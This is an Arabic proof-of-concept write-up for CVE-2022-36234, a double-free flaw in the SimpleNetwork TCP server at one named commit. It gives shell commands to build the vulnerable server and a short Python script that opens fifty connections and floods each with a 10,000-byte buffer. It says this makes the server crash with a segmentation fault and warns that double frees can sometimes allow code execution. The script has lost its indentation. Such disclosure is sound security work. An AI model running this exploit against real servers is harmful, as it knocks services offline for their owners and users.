
إثبات المفهوم لـ CVE-2022-36234
اكتُشف أن خادم SimpleNetwork TCP Server في commit 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 يحتوي على ثغرة تحرير مزدوج (double free) يمكن استغلالها عبر حزم TCP مصممة خصيصًا. سيسمح تفعيل التحرير المزدوج للعملاء بتعطيل أي خادم SimpleNetwork TCP عن بُعد. وفي حالات أخرى، يمكن لثغرات التحرير المزدوج أن تسبب سلوكًا غير محدد وربما تنفيذ كود في الظروف المناسبة.
للتأكد من أن لديك أدوات البناء القياسية المطلوبة لتجميع المكتبة، قم بتثبيت الحزم التالية (على معظم الأنظمة ستكون مثبتة بالفعل):
sudo apt-get install build-essential git
يمكن إعادة إنتاج الثغرة عن طريق إرسال طلبات متتالية إلى الخادم تحتوي على مخزن مؤقت كبير من الأحرف في حزمة TCP. أولاً، قم بتجميع مكتبة 'libSimpleNetwork' والخادم المثال المرفق في الكود المصدري:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
إذا نجح الاستغلال، سينهار الخادم وسترى المخرجات التالية من التطبيق:
segmentation fault ./server 80 1